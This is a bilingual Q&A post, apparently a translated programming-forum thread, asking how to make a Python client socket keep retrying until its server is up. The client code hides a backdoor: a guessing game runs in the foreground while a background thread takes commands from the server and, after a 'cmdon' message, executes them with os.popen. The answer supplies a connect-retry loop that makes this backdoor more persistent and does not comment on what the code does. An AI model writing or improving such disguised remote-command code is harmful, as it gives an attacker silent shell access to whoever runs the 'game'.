如何让客户端套接字在 python 中继续侦听服务器?

How can I have client socket continue listening for server in python?

我有以下代码。

这是为了 client.py:

import random
import socket
import threading
import os


def access():
    HOST = '127.0.0.1'
    PORT = 22262

    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client.connect((HOST, PORT))

    cmd_mode = False

    while True:
        command = client.recv(1024).decode('utf-8')
        if command == 'cmdon':
            cmd_mode = True
            client.send('You now have terminal access!'.encode('utf-8'))
            continue
        if command == 'cmdoff':
            cmd_mode = False
        if cmd_mode:
            os.popen(command)
        if command == 'hello':
            print('Hello World!')
        client.send(f'{command} was exectued successfully!'.encode('utf-8'))


def game():
    number = random.randint(0, 1000)
    tries = 1
    done = False

    while not done:
        guess = int(input('Enter a guess: '))

        if guess == number:
            done = True
            print('You won!')
        else:
            tries += 1
            if guess > number:
                print('The actual number is smaller.')
            else:
                print('The actual number is larger.')
        print(f'You need {tries} tries!')


t1 = threading.Thread(target=game)
t2 = threading.Thread(target=access)

t1.start()
t2.start()

这个 server.py

import socket

HOST = '127.0.0.1'
PORT = 22262

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((HOST, PORT))

server.listen()

client, address = server.accept()

while True:
    print(f'Connected to {address}')
    cmd_input = input('Enter a command: ')
    client.send(cmd_input.encode('utf-8'))
    print(client.recv(1024).decode('utf-8'))

为了使其正常工作,我需要让服务器不断地 运行 从客户端获得响应。如果我 运行 客户端在服务器之前出现以下错误:

ConnectionRefusedError: [WinError 10061] No connection could be made because the target machine actively refused it

我可以将其修改为 client.py 等待服务器响应以便连接吗?基本上我想删除超时错误

connect()连接不上会抛异常。捕捉并重试:

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while True:
    try:
        client.connect((HOST, PORT))
        break
    except Exception as e:
        print("retrying: ", e);
        time.sleep(1)
print("connected")